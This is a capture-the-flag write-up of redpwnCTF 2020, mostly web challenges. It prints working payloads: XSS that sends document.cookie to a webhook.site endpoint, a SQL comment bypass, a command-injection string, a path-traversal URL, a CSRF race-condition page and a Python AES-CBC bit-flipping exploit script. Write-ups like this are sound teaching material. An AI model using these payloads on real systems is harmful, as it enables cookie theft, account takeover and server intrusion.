I enjoyed this CTF overall and there were many well-made challenges! I played with CTF.SG again, and although we barely solved a single RE, it was lots of fun in the other categories.
Web
Inspector General
Category: Web | 1300 solves | 112 points
Challenge Description
My friend made a new webpage, can you find a flag?The challenge description mentions the inspector tool, but all your have to do is to just view the source as the flag is not dynamically loaded.
Go to view-source:https://redpwn.net/
and you will see the flag on line 7
.
FLAG
flag{1nspector_g3n3ral_at_w0rk}Login
Category: Web | 1007 solves | 148 points
Challenge Description
I made a cool login page. I bet you can't get in!Site: login.2020.redpwnc.tf
It looked like a simple SQLi, so I tried admin';
and admin'; --
, but no luck. However, as an extension, I then tried admin'; /*
- another way of writing the comment tag and we got the flag!
FLAG
flag{0bl1g4t0ry_5ql1}Static-Pastebin
Category: Web | 374 solves | 373 points
Challenge Description
I wanted to make a website to store bits of text, but I don't have any experience with web development. However, I realized that I don't need any! If you experience any issues, make a paste and send it hereSite: static-pastebin.2020.redpwnc.tf
Note: The site is entirely static. Dirbuster will not be useful in solving it.
This was also pretty easy! Reading /paste/script.js
, we can see that it is just simple XSS.
Payload
"><img src=x onerror="javascript:document.location='https://webhook.site/016547ba-79c7-4a80-b9d4-5e4f21e63513?c='+document.cookie"></img>
By sending this paste to the admin, we can get the flag!
FLAG
flag{54n1t1z4t10n_k1nd4_h4rd}Panda-Facts
Category: Web | 280 solves | 412 points
Challenge Description
I just found a hate group targeting my favorite animal. Can you try and find their secrets? We gotta take them down!Site: panda-facts.2020.redpwnc.tf
I solved this after the CTF ended as my teammate waituck had already solved it.
We actually went down the wrong rabbit hole of AES-CBC bit flipping, until we checked the number of solves and decided that we were thinking too much.
The solution here is JSON Injection, since it was not validated.
Payload
Just login as CTF.SG", "member": 1, "b": "CTF.SG
and you’ll be recognized as a member
and hence be able to see the flag.
FLAG
flag{1_c4nt_f1nd_4_g00d_p4nd4_pun}Static-Static-Hosting
Category: Web | 222 solves | 434 points
Challenge Description
Seeing that my last website was a success, I made a version where instead of storing text, you can make your own custom websites! If you make something cool, send it to me hereSite: static-static-hosting.2020.redpwnc.tf
Note: The site is entirely static. Dirbuster will not be useful in solving it.
This is the same as the previous challenge, you just have to XSS the admin to get the cookies, which most likely contains the flag.
I first tried the <script>
tags which didn’t work, and after reading the source on https://static-static-hosting.2020.redpwnc.tf/site/script.js I understood why:
if (children[i].nodeName === 'SCRIPT') {
element.removeChild(children[i]);
i --;
} else {
sanitize(children[i]);
}
It removes the script tags then sanitizes them. Thus, let’s take a look at the sanitize function:
if (!['src', 'width', 'height', 'alt', 'class'].includes(attributes[i])) {
element.removeAttribute(attributes[i]);
}
So basically you can only use src
, width
, height
, alt
, class
to load your XSS payload.
I actually tried <img src
but found out for the first time that you cannot load script tags in the src
attribute (how did I not know that before…).
So I tried the iframe
way and it worked on the first try!
Payload
<iframe src="javascript:top.location='//webhook.site/016547ba-79c7-4a80-b9d4-5e4f21e63513/?c='+document.cookie"></iframe>
Send the site to admin and you’ll get the flag in your response.
FLAG
flag{wh0_n33d5_d0mpur1fy}Tux-Fanpage
Category: Web | 135 solves | 464 points
Challenge Description
My friend made a fanpage for Tux; can you steal the source code for me?Site: tux-fanpage.2020.redpwnc.tf
This is a very geocities site that almost gave me a headache looking at it, so I jumped straight to the provided index.js
source instead of actually looking at the site.
Just from line 9, we can see that there is a possibility of LFI res.redirect('/page?path=index.html')
as the app calls the page with a path by specifying the filename.
Moving on, we check the logic:
//Get absolute path from relative path
function prepare(dir){
return path.resolve('./public/' + dir)
}
This is nothing, since you can simply bypass it with ../
if not for the preventTraversal(dir)
function.
//Strip leading characters
function strip(dir){
const regex = /^[a-z0-9]$/im
//Remove first character if not alphanumeric
if(!regex.test(dir[0])){
if(dir.length > 0){
return strip(dir.slice(1))
}
return ''
}
return dir
}
This is also nothing, since you just have to add a letter/number as your first character in your payload, eg. a../
will bypass the 2 functions above.
function preventTraversal(dir){
if(dir.includes('../')){
let res = dir.replace('../', '')
return preventTraversal(res)
}
//In case people want to test locally on windows
if(dir.includes('..\\')){
let res = dir.replace('..\\', '')
return preventTraversal(res)
}
return dir
}
However, this was a problem that got me stuck for a while as I did not realise on the first glance that it is not bypass-able, while attempting to meet the requirements of the other 2 functions. After an hour, I decided to read the rest of the source more carefully and noticed the checking logic:
path = strip(path)
path = preventTraversal(path)
And then I thought, “This was it!!” Since both strip
and preventTraversal
was not checked at the same time, all you have to do is to fool the parser.
Payload
https://tux-fanpage.2020.redpwnc.tf/page?path=a&path=../../../index.js
Send this and we’ll get the source where the flag is not [REDACTED]
instead. On Line 6: const flag = 'flag{tr4v3rsal_Tim3}'
, we have the flag.
FLAG
flag{tr4v3rsal_Tim3}Post-It-Notes
Category: Web | 82 solves | 479 points
Challenge Description
Request smuggling has many meanings. Prove you understand at least one of them at 2020.redpwnc.tf:31957.Note: There are a lot of time-wasting things about this challenge. Focus on finding the vulnerability on the backend API and figuring out how to exploit it.
Again, let me start off by saying there is no route from request smuggling to the flag. Many hours were wasted due to the troll challenge description. The request smuggling occurs because of the wide range of ports used, but the actual exploit here is command injection due to subprocess.Popen(f"cat 'notes/{nid}'
.
Lesson learnt: Read the source code and ignore the challenge description.
Just like in Defenit, we guessed the flag.txt
without even using ls
first.
Payload
';cat 'flag.txt
Anyway, my teammate Justin was the one who solved this after I gave up on the request smuggling exploitation, so I’ll put a link to his blog after he’s done writing it.
Edit: You can read it here! https://blog.justins.in/redpwnctf-2020/
FLAG
flag{y0u_b3tt3r_n0t_m@k3_m3_l0s3_my_pyth0n_d3v_j0b}Anti-Textbook
Category: Web | 71 solves | 482 points
Challenge Description
It's important for public keys to be transparent.Hint: certificate-transparency.org
Let’s start off first by saying the hint didn’t help at all. In fact, it led me on a wrong rabbit hole where I went to https://security.googleblog.com/2017/01/security-through-transparency.html and went to their github repo for that and nothing good came out of it.
So anyway, at first when I saw the data.txt
I thought this was a crypto question. In fact, it is part crypto, since I solved it with this script:
from Crypto.PublicKey.RSA import construct
e = long(65537)
n = long(23476345782117384360316464293694572348021858182972446102249052345232474617239084674995381439171455360619476964156250057548035539297034987528920054538760455425802275559282848838042795385223623239088627583122814519864252794995648742053597744613214146425693685364507684602090559028534555976544379804753832469034312177224373112610128420211922617372377101405991494199975508780694545263130816110474679504768973743009441005450839746644168233367636158687594826435608022717302508912914016439961300625816187681031915377565087756094989820015507950937541001438985964760705493680314579323085217869884649720526665543105616470022561)
pubkey = construct((n, e))
print(pubkey.exportKey())
This will give us the public key, which I tried searching for the hashed version (both SHA-1 and SHA-256) on https://crt.sh/ but nothing good came out of it.
After a while, I was definitely stuck so I just left it there, until my teammate pointed out that I was searching for the hash of a public key instead of certificate. D’oh!
So let’s convert it to a certificate using openssl
:
openssl pkey -pubin -outform der -in textbook.key | openssl dgst -sha1
By SHA-1
hashing the .der
format of the key, we can find the actual domain on the site here: https://crt.sh/?id=2001057066
After visiting the DNS listed in the Subject/commonName
(oa4gio7glypwggb9iu3rh8mrc87tnjbs.flag.ga), we get the flag!
FLAG
flag{c3rTific4t3_7r4n5pArAncY_fTw}Cookie-Recipes-v2
Category: Web | 51 solves | 488 points
Challenge Description
I want to buy some of these recipes, but they are awfully expensive. Can you take a look? Site: cookie-recipes-v2.2020.redpwnc.tfSo we are given a site where you can purchase flags. I already know where this is going - we just have to get our hands on the shop item called flag
, which as usual, there is no way our balance will be able to afford it.
Since we don’t have a sell function but a report function instead, I knew we have to phish the admin somehow - either by XSS or CSRF - by sending a link containing our payload.
So anyway, while blackboxing the site, I found an IDOR within 4 minutes of opening it and got the admin credentials - username and password.
I had guessed that the admin ID was either 1
or 0
, and afterwards I also noticed that in the last several lines of the source, a comment did state that the ID is 0
.
However, trying to log in as admin fails because it checks for the IP, and it is NOT bypass-able via any HTTP Header since it is being checked by validating req.socket.remoteAddress
. Nevertheless, I still tried it anyway and you can see the failed results:
So anyway, I went to continue blackboxing because it’s more fun that way.
We find out that CSRF might not be possible, since the request is being sent via JSON, so there will always be a trailing =
sign at the back of the request. HOWEVER, I also found that since the Content-Type
is not being checked, you can simply send your payload as a JSON String and it will work, like this!
xhr.send(JSON.stringify({"password":"n3cdD3GjyjGUS8PZ3n7dvZerWiY9IRQn"}));
Then I got stuck again, as I remembered that the admin account only has a balance of 140, which was far from enough to purchase the flag at 1000. However, my teammate Kenneth suggested that maybe the admin had already purchased the flag, so we went into the wrong rabbit hole of trying to get the result of getPurchased
and getting the admin to send it to us.
In the process, I learnt about maintaining session during xhr
by using withCredentials
and onload
and onreadystatechange
. I also learnt that it is impossible to either retrieve the Set-Cookie
header from the response or send a Cookies
header with xhr
, since it was blocked by the specifications for security reasons.
Anyway, waituck came in and saved the day by telling us that you could just solve it with a Race condition, like this:
Payload
<html><script>
async function jsonreq() {
var xhr = new XMLHttpRequest()
xhr.open("POST","https://cookie-recipes-v2.2020.redpwnc.tf/api/gift?id=13186538601383376495", true);
xhr.withCredentials = true;
xhr.setRequestHeader("Content-Type","text/plain");
xhr.send(JSON.stringify({"password":"n3cdD3GjyjGUS8PZ3n7dvZerWiY9IRQn"}));
}
for (var i = 0; i < 1000; i++) {
jsonreq();
}
</script></html>
Host this on your server and send it to the admin. Soon, you’ll have enough credits to buy the flag.
And go to /purchases
to view it!
FLAG
flag{n0_m0r3_gu3551ng}Panda Facts V2
Category: Web | 42 solves | 490 points
Challenge Description
Uh oh; it looks like they already migrated to a more secure platform. Can you do your thing again? These horrible people must be stopped!Site: panda-facts-v2.2020.redpwnc.tf
This is the actual bit flipping crypto we were trying to do in Panda-v1, so we just expanded on that solution and used it here.
I can only do Baby Crypto, so I left it to my crypto guy waituck, as advised by the challenge author to another person in the discord.
I’ll paste the solution here if he doesn’t write it, but it is basically ensuring the last bit is \",\"member_: n"}
where n
is systematically bruteforced until we get to the target.
Payload
#!/usr/bin/env python
import requests
import json
from pwn import *
def blockify(a):
return [a[i:i+16] for i in range(0, len(a), 16)]
def validate_req(payload):
cookie = {'token' : payload}
r = requests.get('https://panda-facts-v2.2020.redpwnc.tf/api/validate',cookies=cookie)
return r.text
def blocks_to_payload(blks):
import base64
return base64.b64encode("".join(blks))
def send_blks(blks):
encoded_payload = blocks_to_payload(blks)
return validate_req(encoded_payload)
def get_cookie(payload):
r = requests.post('https://panda-facts-v2.2020.redpwnc.tf/api/login', json = {'username' : payload})
return json.loads(r.text)['token'].decode('base64')
def get_flag(blks):
encoded_payload = blocks_to_payload(blks)
cookie = {'token': encoded_payload}
r = requests.get('https://panda-facts-v2.2020.redpwnc.tf/api/flag',cookies=cookie)
return json.loads(r.text)['flag']
def bind_payload(payload, i):
return payload % ("%25d" % i)
def xor_payload(block):
# our current \",\"member_: "}
# our target _",_"member": n}
new_payload = ""
new_payload += chr(ord(block[0]) ^ ord("\\") ^ ord(" "))
new_payload += block[1:3]
new_payload += chr(ord(block[3]) ^ ord("\\") ^ ord(" "))
new_payload += block[4:11]
new_payload += chr(ord(block[11]) ^ ord("_") ^ ord('"'))
new_payload += block[12:14]
new_payload += chr(ord(block[14]) ^ ord('"') ^ ord('1'))
new_payload += block[15:]
return new_payload
payload_len = 25
payload = '%s","member_: '
for i in range(1000):
c_payload = bind_payload(payload, i)
cookie = get_cookie(c_payload)
payload_blocks = blockify(cookie)
payload_blocks[-3] = xor_payload(payload_blocks[-3])
data = send_blks(payload_blocks)
if 'true' in data:
flag = get_flag(payload_blocks)
log.success(flag)
break
FLAG
flag{54v3_th3_b335_1n5t34d}Misc
UglyBash
Category: Misc | 407 solves | 359 points
Challenge Description
This bash script evaluates to echo dont just run it, dummy # flag{...} where the flag is in the comments.The comment won't be visible if you just execute the script. How can you mess with bash to get the value right before it executes?
Enjoy the intro misc chal.
We just have to execute the script step-by-step, with comments. So just use
bash -x cmd.sh
and you’ll get one character of the flag printed out every step of the script.